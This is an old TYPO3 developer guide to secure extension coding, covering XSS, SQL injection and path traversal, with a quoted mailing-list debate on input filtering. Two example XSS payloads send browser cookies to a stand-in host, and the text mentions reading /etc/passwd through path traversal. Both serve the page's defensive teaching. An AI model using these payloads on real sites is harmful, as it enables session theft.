Core Documentation
Here you will find the new official reference manuals. These documents are related to the core of TYPO3 and address the built in functionality of TYPO3. They are designed to provide you with in-depth information.
- Coding Guidelines
- Core Api Reference
- File Abstraction Layer
- Inside TYPO3
- Skinning
- TCA-Reference
- TSconfig Reference
- Typoscript Reference
- Typoscript Syntax
- TYPO3 Services
Old Core Documentation
We cannot list each and every little security detail you should be aware of when writing extensions for TYPO3. Obviously you should make sure permissions for backend modules are preserved. Generally this is checked by the system for you. For instance if you make a backend module you always include the init.php script. If there is no backend user logged in you will not get passed this script (except in special circumstances where you set a constant first). So there are some obvious things to be aware off. We would also love to provide a list of the most common things, but that will be later.
Cross Site Scripting is maybe the most important thing for you to be aware of. Basically it's a threat if untrusted sources are able to input data which are later outputted on the webpage. An example could be a message board; Someone posts a message with a little <script> section in it. That script section reads the browser cookie and sends it to a URL. So lets say I'm logged into my TYPO3 backend and then view the frontend page with the message board - my cookie is now sent to the hostile URL and the attacker will be able to steal my backend session!
You should read this page about the issue: http://www.cert.org/tech_tips/malicious_code_mitigation.html/
Imagine a message board where you input your name in to a form field. Instead of your name you enter this:
<script>document.location='http://www.hacker.com/?cookie='+document.cookie</script>
Now the users cookie - my cookie or your session cookie! - is sent to the hostile URL and he can steal our session!
It could also be GET parameters like this:
http://www.url.com/index.php?id=123&tx_messageboard[msg]=7777
Normally that would display message 7777. However what happens if the hostile part inserts this URL:
http://www.url.com/index.php?id=123&tx_messageboard[msg]=<script>document.location='http://www.hacker.com/?cookie='+document.cookie</script>
(This could also be hex-encoded to hide what is going on)
How if you don't evaluate the tx_messageboard[msg] variable to integer or if you don't rawurlencode() the value before you add it in a link this will ALSO execute the JavaScript!
Basically the danger lies in <script>-sections and other places the untrusted user can get JavaScript executed, like in "onClick" or "href='javascript: ....'. The list is probably larger, but this is apparently the most dangerous.
You avoid a lot of XSS by passing all outputted content through htmlspecialchars(). That will make sure that all HTML-tags will be rendered with < and >. It will not protect content in onClick handlers thought. If you need to preserve certain tags you can also use strip_tags($content, '<b><i>') which will remove all HTML-tags but B and I.
Caution: The "htmlspecialchars()" way of dealing with XSS is based on "Allow all, Deny <>". The puritan way to deal with XSS is to say "Deny All, Allow [list of chars]". The point of the puritans is that this will protect you against new, dangerous characters which might be introduced later whereas htmlspecialchars() will just convert currently dangerous chars. However my point is that I'm willing to trust that the number of unsafe chars will not exactly explode, further that the more restrictive approach will introduce a lot of bugs and other problems and finally IF the situation goes nuts, using htmlspecialchars() at least makes it possible to identify all affected situations by a search-operation.
Be careful If your script accepts a parameter which is inserted as a URL. You script must evaluate the content of that input and check that we want that URL inserted. For instance this is a typical danger with framesets where one or more URLs of the frames are set by incoming values!
In <a> tags people can also insert JavaScript by “javascript:alert();” instead of “http://typo3.org” in the href-attribute. Therefore, wherever users are allowed to enter URLs that you link to, keep this in mind!
<iframe> tags can also call another URL. Be careful with those as well!
In TypoScript, stdWrap has a new property, "removeBadHTML" which will use a regex to clean out known "bad HTML" code which makes XSS possible.
More potential dangers/suggestions? Please write to kasper@typo3.com about them!
Here are for now some more links about practices:
http://www.cgisecurity.com/articles/xss-faq.shtml
Q: "What can I do to protect myself as a vendor?"
A: This is a simple answer. Never trust user input and always filter metacharacters. This will eliminate the majority of XSS attacks. Converting < and > to < and > is also suggested when it comes to script output. . . .
An example of the discussion about how to prevent XSS is this thread found on http://www.der-keiler.de/Mailing-Lists/securityfocus/vuln-dev/2002-10/0021.html
To: Astalavista Baby <info@astalavista.com>
From: Valdis.Kletnieks@vt.edu
Date: Thu, 10 Oct 2002 23:08:07 -0400
On Thu, 10 Oct 2002 23:41:34 -0000, Astalavista Baby <info@astalavista.com> said:
> like to see more and better ways ?!
>
> My idea: ( I think this is not safe enough?)
>
> function make_clean($value){ > $value = htmlspecialchars($value)
> $value = str_replace("%2B", "", $value); > .... more ..
> return $value;
> }
Wrong.
You're filtering "known illegal" out, rather than refusing to pass only
probably legal characters through. You can enumerate %2B, ... more ...
and you're still totally screwed to the wall if you missed one (and remember
that all the Unicode exploits are basically "missed one"). Worse yet,
you're screwed to the wall if you have a complete list, but at a later date
somebody finds a new and creative way to use a character (did you know that
some Unix shells treat the ^ caret as equivalent to | pipe? ;)
I don't do PHP, but the pseudocode *should* be:
function make_clean($value) { legalchars = "[a-z][A-Z][0-9] "; // allow letters number space only
for each char in $value
if char not in legalchars
then char=' '; // bogus char? Make it a blank
end for;
}
Somebody finds a way to use doublequote to inject bad data? Somebody finds
a way to use asterisks or %2B? No problem - they weren't in my legalchars
list to start with.
Remember - don't filter known bad chars. Filter *everything* *but* known good.
--
Valdis Kletnieks
Computer Systems Senior Engineer
Virginia Tech
SQL injection is also a potential problem unless you follow this coding style which will remove the problem:
Always pass values inserted in SQL statements through either $GLOBALS['TYPO3_DB']->quoteStr() or intval() and do this as close as the SQL as possible (so a code-review can easily see that values will be escaped/cleaned before insertion!)
Always use quotes around values in SQL (unless you are 100% sure the value is an integer)
If you want to know more about SQL injection and what it is you can read the references below.
When you take in values from outside through GET and POST you should always use the API functions supplied by TYPO3. They are t3lib_div::_GET(), t3lib_div::_POST(), and t3lib_div::_GP(). These will always deliver you values where quotes are not escaped (thus “clean”). And that means you can consistently pass these values through $GLOBALS['TYPO3_DB']->quoteStr() when building queries.
Use the query building functions in t3lib_DB (see “Database connectivity” section for details) and preferably use the functions prepended “exec_” to execute the queries directly.
UPDATE / INSERT / DELETE: Create associative array and use tslib_cObj::DBgetUpdate() / tslib_cObj::DBgetInsert() / tslib_cObj::DBgetDelete() and enable the doExec flag if you can so the query is executed directly!
SELECT : No general API.
Another possible mistake is if you don't validate paths being input to your scripts. As a general rule of thumb you should pass your paths to the function t3lib_div::validPathStr($path) and if it returns true the path is ok. The function tests that there is no backpath (".."), no backslashes and no double-forward slashes.
t3lib_div::isAllowedAbsPath() is also useful to check an absolute path since it returns true only if that path is within the PATH_site or lockRootPath and checks for backpath "..". Getting the absolute path from relative can be done by t3lib_div::getFileAbsFileName() and is recommended since we don't approve the use of relative paths internally in TYPO3.
Wherever you include files make sure you have evaluated the file path you include! If the filepath to be included contains just any content from outside (number, script name etc) check the path, make sure it cannot be tricked into "back-pathing" to the root of the server and read password files from /etc/passwd or the like.
There has been given some good references to security articles. These are our rolemodels in this respect:
OWASP Guide: http://www.owasp.org/documentation/guide
Please read at least the short “Top 10 for PHP” article (http://www.sklar.com/page/article/owasp-top-ten).